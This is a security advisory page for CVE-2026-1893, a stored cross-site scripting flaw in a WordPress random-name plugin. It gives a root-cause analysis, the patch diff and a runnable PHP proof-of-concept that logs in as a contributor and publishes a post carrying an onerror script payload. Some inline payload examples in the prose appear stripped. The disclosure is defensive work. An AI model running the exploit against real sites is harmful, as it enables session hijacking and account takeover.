Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1893: Orbisius Random Name Generator <= 1.0.2 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'btn_label' Shortcode Attribute (orbisius-random-name-generator)

CVE ID CVE-2026-1893
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.0.2
Patched Version 1.0.3
Disclosed February 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1893:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Orbisius Random Name Generator WordPress plugin. The vulnerability affects the plugin’s shortcode handler and allows Contributor-level or higher authenticated users to inject arbitrary JavaScript into posts or pages. The CVSS score of 6.4 reflects the requirement for contributor privileges and the stored nature of the attack.

Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping in the plugin’s shortcode handler. The vulnerable code resides in the `renderForm` method of the `Orbisius_Random_Name_Generator_Shortcodes` class within the main plugin file `orbisius-random-name-generator.php`. The function directly uses the unsanitized `btn_label` shortcode attribute from the `$attribs` array at line 80 (`$btn_label = empty($attribs[‘btn_label’]) ? ‘Generate’ : $attribs[‘btn_label’];`). This unsanitized value passes to the `_e()` translation function at line 103 (“). The `_e()` function echoes the translated string without any escaping, enabling script injection.

An attacker exploits this vulnerability by creating or editing a WordPress post with Contributor privileges. They embed the plugin’s shortcode with a malicious `btn_label` attribute containing JavaScript payloads. Example payloads include `` or “. When any user views the compromised post, the browser executes the injected script in the context of the WordPress site. The attack persists because the malicious shortcode stores in the post content.

The patch in version 1.0.3 addresses the vulnerability through multiple security enhancements. The developer adds input sanitization at line 79 with `$attribs = array_map(‘sanitize_text_field’, $attribs);`. This sanitization applies the WordPress `sanitize_text_field()` function to all shortcode attributes, removing HTML tags and dangerous characters from the `btn_label` parameter. The patch also replaces the vulnerable `_e()` function call at line 131 with `esc_html_e()`, which performs proper HTML entity encoding before output. These changes ensure that any HTML or script in the `btn_label` attribute renders as harmless text.

Successful exploitation allows attackers with contributor-level access to execute arbitrary JavaScript in the context of any user viewing the compromised page. This can lead to session hijacking, administrative account takeover, content defacement, or malware distribution. Attackers can steal authentication cookies, perform actions as the victim user, or redirect users to malicious sites. The stored nature means the payload executes for every visitor until the malicious content removes.

Differential between vulnerable and patched code

Code Diff
--- a/orbisius-random-name-generator/orbisius-random-name-generator.php
+++ b/orbisius-random-name-generator/orbisius-random-name-generator.php
@@ -1,144 +1,165 @@
-<?php
-/*
-Plugin Name: Orbisius Random Name Generator
-Plugin URI: https://orbisius.com/products/wordpress-plugins/orbisius-random-name-generator
-Description: Displays a random name out of words that you have specified between the shortcode [orbisius_random_name_generator]....[/orbisius_random_name_generator]
-Version: 1.0.2
-Author: Svetoslav Marinov (Slavi)
-Author URI: https://orbisius.com
-Text Domain: orbisius-random-name-generator
-Domain Path: /lang
-*/
-
-/*  Copyright 2012-2050 Svetoslav Marinov (Slavi) <slavi@orbisius.com>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-*/
-
-$instance = Orbisius_Random_Name_Generator_Shortcodes::getInstance();
-add_action( 'init', array( $instance, 'init' ) );
-
-class Orbisius_Random_Name_Generator_Shortcodes {
-	/**
-	 *
-	 */
-	public function init() {
-		add_shortcode( 'orbisius_random_name_generator', [ $this, 'renderForm' ], 20, 2 );
-	}
-
-	public function isPost() {
-		return !empty($_POST) || (!empty($_SERVER['REQUEST_METHOD']) && strcasecmp($_SERVER['REQUEST_METHOD'], 'post') == 0);
-    }
-
-	/**
-     * Parses the content and strips the HTML before splitting on new lines and/or separators
-	 * @param string $content
-	 * @return array
-	 */
-	public function parseKeywords($content) {
-		$content = is_scalar($content) ? $content : json_encode($content);
-		$content = str_ireplace([ "<br/>", '<br>', "<p>", "</p>", "<div>", "</div>", ] , "n", $content);
-		$content = strip_tags($content);
-		$content = trim($content);
-		$words = preg_split('#[trn,;|]+#si', $content);
-		$words = array_map('trim', $words);
-		$words = array_unique($words);
-		$words = array_filter($words);
-		$words = empty($words) ? [] : $words;
-		return $words;
-    }
-
-	/**
-	 * Processes [orbisius_random_name_generator]....[/orbisius_random_name_generator]
-	 * @param array $attribs
-	 * @param string $content the text between the tags
-	 * @return string
-	 */
-	public function renderForm($attribs = [], $content = '') {
-		static $instance_id = 0; // in case it's used multiple times on a page
-		$msg = '';
-		$result = '';
-		ob_start();
-
-		$btn_label = empty($attribs['btn_label']) ? 'Generate' : $attribs['btn_label'];
-		$instance_id++;
-
-		// Let's get a random word only on post
-		if ($this->isPost() && (!empty($_REQUEST['instance_id']) && $_REQUEST['instance_id'] == $instance_id)) {
-			$words = $this->parseKeywords($content);
-
-			if (!empty($attribs['words'])) {
-				$inp_words = $this->parseKeywords($attribs['words']);
-				$words = array_replace_recursive($inp_words, $words);
-				$words = array_unique($words);
-			}
-
-			shuffle($words);
-			$word = reset($words);
-			$result = $word;
-		}
-
-		$instance_id = intval($instance_id);
-		?>
-		<div id="orbisius_random_name_generator_container orbisius_random_name_generator_container<?php echo (int) $instance_id; ?>"
-		     class="orbisius_random_name_generator_container orbisius_random_name_generator_container<?php echo (int) $instance_id; ?>">
-			<div class="row">
-				<!-- Contact Form -->
-				<div id="orbisius_random_name_generator_form_wrapper" class="col-lg-8 col-md-8 col-sm-6 col-xs-12">
-					<form id='orbisius_random_name_generator_form<?php echo (int) $instance_id; ?>'
-					      class="orbisius_random_name_generator_form orbisius_random_name_generator_form<?php echo (int) $instance_id; ?> form-horizontal" method="POST">
-                        <input type="hidden" name="instance_id" value="<?php echo (int) $instance_id; ?>">
-						<div class="row">
-							<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
-								<?php echo esc_html($msg); ?>
-							</div>
-						</div>
-						<br/>
-						<div class="row">
-							<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
-								<button id="submit" class="btn btn-color">
-									<?php _e($btn_label, 'orbisius-random-name-generator');?></button>
-							</div>
-						</div>
-
-						<div class="result orbisius_random_name_generator_result orbisius_random_name_generator_result<?php echo (int) $instance_id; ?>"><?php echo esc_html($result); ?></div>
-					</form>
-				</div> <!-- /orbisius_random_name_generator_form_wrapper -->
-			</div> <!-- /row -->
-		</div> <!-- /orbisius_random_name_generator_container -->
-
-		<?php
-		$buff = ob_get_clean();
-		$buff = trim($buff);
-		return $buff;
-	}
-
-	/**
-	 * Singleton pattern i.e. we have only one instance of this obj
-	 * @staticvar static $instance
-	 * @return static
-	 */
-	public static function getInstance() {
-		static $instance = null;
-
-		// This will make the calling class to be instantiated.
-		// no need each sub class to define this method.
-		if ( is_null( $instance ) ) {
-			$instance = new static();
-		}
-
-		return $instance;
-	}
-}
+<?php
+/*
+Plugin Name: Orbisius Random Name Generator
+Plugin URI: https://orbisius.com/products/wordpress-plugins/orbisius-random-name-generator
+Description: Displays a random name out of words that you have specified between the shortcode [orbisius_random_name_generator]....[/orbisius_random_name_generator]
+Version: 1.0.3
+Requires at least: 5.0
+Tested up to: 6.9
+Requires PHP: 7.4
+Author: Svetoslav Marinov (Slavi)
+Author URI: https://orbisius.com
+License: GPL-2.0-or-later
+License URI: https://www.gnu.org/licenses/gpl-2.0.html
+Text Domain: orbisius-random-name-generator
+Domain Path: /lang
+*/
+
+/*  Copyright 2012-2050 Svetoslav Marinov (Slavi) <slavi@orbisius.com>
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program; if not, write to the Free Software
+    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+*/
+
+$instance = Orbisius_Random_Name_Generator_Shortcodes::getInstance();
+add_action( 'init', array( $instance, 'init' ) );
+
+class Orbisius_Random_Name_Generator_Shortcodes {
+	/**
+	 *
+	 */
+	public function init() {
+		add_shortcode( 'orbisius_random_name_generator', [ $this, 'renderForm' ], 20, 2 );
+	}
+
+	public function isPost() {
+		return !empty($_POST) || (!empty($_SERVER['REQUEST_METHOD']) && strcasecmp($_SERVER['REQUEST_METHOD'], 'post') == 0);
+    }
+
+	/**
+     * Parses the content and strips the HTML before splitting on new lines and/or separators
+	 * @param string $content
+	 * @return array
+	 */
+	public function parseKeywords($content) {
+		$content = is_scalar($content) ? $content : json_encode($content);
+		$content = str_ireplace([ "<br/>", '<br>', "<p>", "</p>", "<div>", "</div>", ] , "n", $content);
+		$content = strip_tags($content);
+		$content = trim($content);
+		$words = preg_split('#[trn,;|]+#si', $content);
+		$words = array_map('trim', $words);
+		$words = array_unique($words);
+		$words = array_filter($words);
+		$words = empty($words) ? [] : $words;
+		return $words;
+    }
+
+	/**
+	 * Processes [orbisius_random_name_generator]....[/orbisius_random_name_generator]
+	 * @param array $attribs
+	 * @param string $content the text between the tags
+	 * @return string
+	 */
+	public function renderForm($attribs = [], $content = '') {
+		static $instance_id = 0; // in case it's used multiple times on a page
+		$msg = '';
+		$result = '';
+		ob_start();
+
+		$attribs = is_array($attribs) ? $attribs : [];
+		$attribs = array_map('sanitize_text_field', $attribs);
+		$req_data = array_map('sanitize_text_field', $_REQUEST);
+
+		$btn_label = empty($attribs['btn_label']) ? 'Generate' : $attribs['btn_label'];
+		$instance_id++;
+
+		// Let's get a random word only on post
+		$process_form = false;
+
+		if (!empty($req_data['instance_id'])) {
+			$req_instance_id = intval($req_data['instance_id']);
+
+			if ($req_instance_id == $instance_id && $this->isPost()) {
+				$req_nonce = !empty($req_data['orbisius_rng_nonce']) ? $req_data['orbisius_rng_nonce'] : '';
+				$process_form = wp_verify_nonce($req_nonce, 'orbisius_rng_action');
+			}
+		}
+
+		if ($process_form) {
+			$words = $this->parseKeywords($content);
+
+			if (!empty($attribs['words'])) {
+				$inp_words = $this->parseKeywords($attribs['words']);
+				$words = array_replace_recursive($inp_words, $words);
+				$words = array_unique($words);
+			}
+
+			shuffle($words);
+			$word = reset($words);
+			$result = $word;
+		}
+
+		$instance_id = intval($instance_id);
+		?>
+		<div id="orbisius_random_name_generator_container orbisius_random_name_generator_container<?php echo (int) $instance_id; ?>"
+		     class="orbisius_random_name_generator_container orbisius_random_name_generator_container<?php echo (int) $instance_id; ?>">
+			<div class="row">
+				<!-- Contact Form -->
+				<div id="orbisius_random_name_generator_form_wrapper" class="col-lg-8 col-md-8 col-sm-6 col-xs-12">
+					<form id='orbisius_random_name_generator_form<?php echo (int) $instance_id; ?>'
+					      class="orbisius_random_name_generator_form orbisius_random_name_generator_form<?php echo (int) $instance_id; ?> form-horizontal" method="POST">
+                        <input type="hidden" name="instance_id" value="<?php echo (int) $instance_id; ?>">
+						<?php wp_nonce_field('orbisius_rng_action', 'orbisius_rng_nonce'); ?>
+						<div class="row">
+							<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
+								<?php echo esc_html($msg); ?>
+							</div>
+						</div>
+						<br/>
+						<div class="row">
+							<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
+								<button id="submit" class="btn btn-color">
+									<?php esc_html_e($btn_label, 'orbisius-random-name-generator');?></button>
+							</div>
+						</div>
+
+						<div class="result orbisius_random_name_generator_result orbisius_random_name_generator_result<?php echo (int) $instance_id; ?>"><?php echo esc_html($result); ?></div>
+					</form>
+				</div> <!-- /orbisius_random_name_generator_form_wrapper -->
+			</div> <!-- /row -->
+		</div> <!-- /orbisius_random_name_generator_container -->
+
+		<?php
+		$buff = ob_get_clean();
+		$buff = trim($buff);
+		return $buff;
+	}
+
+	/**
+	 * Singleton pattern i.e. we have only one instance of this obj
+	 * @staticvar static $instance
+	 * @return static
+	 */
+	public static function getInstance() {
+		static $instance = null;
+
+		// This will make the calling class to be instantiated.
+		// no need each sub class to define this method.
+		if ( is_null( $instance ) ) {
+			$instance = new static();
+		}
+
+		return $instance;
+	}
+}

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1893 - Orbisius Random Name Generator <= 1.0.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'btn_label' Shortcode Attribute

<?php
/**
 * Proof of Concept for CVE-2026-1893
 * This script demonstrates the stored XSS vulnerability in Orbisius Random Name Generator <= 1.0.2
 * Requires valid WordPress contributor credentials
 */

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Malicious payload in the btn_label attribute
// This payload will execute when any user views the post
$payload = '<img src=x onerror="alert(document.cookie)">';

// Create a shortcode with the malicious payload
$shortcode = "[orbisius_random_name_generator btn_label='{$payload}']nWord1nWord2nWord3n[/orbisius_random_name_generator]";

// Create a new post with the malicious shortcode
$post_data = array(
    'title' => 'Test Post with XSS',
    'content' => $shortcode,
    'status' => 'publish'
);

// Initialize cURL session for login
$ch = curl_init();

// Step 1: Get login page to retrieve nonce (if needed) and cookies
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$login_page = curl_exec($ch);

// Step 2: Submit login credentials
$login_fields = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);

// Step 3: Get the nonce for creating a new post
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$post_page = curl_exec($ch);

// Extract the nonce from the page (simplified - actual implementation would parse HTML)
// WordPress uses _wpnonce parameter for post creation
preg_match('/name="_wpnonce" value="([^"]+)"/', $post_page, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';

// Step 4: Create the post with malicious shortcode
$create_post_fields = array(
    'post_title' => $post_data['title'],
    'content' => $post_data['content'],
    'publish' => 'Publish',
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/post-new.php',
    'post_type' => 'post',
    'post_status' => 'publish'
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($create_post_fields));
$create_response = curl_exec($ch);

// Check if post was created successfully
if (strpos($create_response, 'Post published') !== false || strpos($create_response, 'Post updated') !== false) {
    echo "[+] Malicious post created successfully.n";
    echo "[+] XSS payload will execute when users visit the post.n";
    
    // Extract the post URL from response
    preg_match('/class="post-edit-link" href="([^"]+)"/', $create_response, $url_matches);
    if (isset($url_matches[1])) {
        $post_url = $url_matches[1];
        $post_url = str_replace('&', '&', $post_url);
        preg_match('/post=(d+)/', $post_url, $id_matches);
        if (isset($id_matches[1])) {
            $post_id = $id_matches[1];
            $public_url = $target_url . '/?p=' . $post_id;
            echo "[+] Post URL: $public_urln";
        }
    }
} else {
    echo "[-] Failed to create post. Check credentials and permissions.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School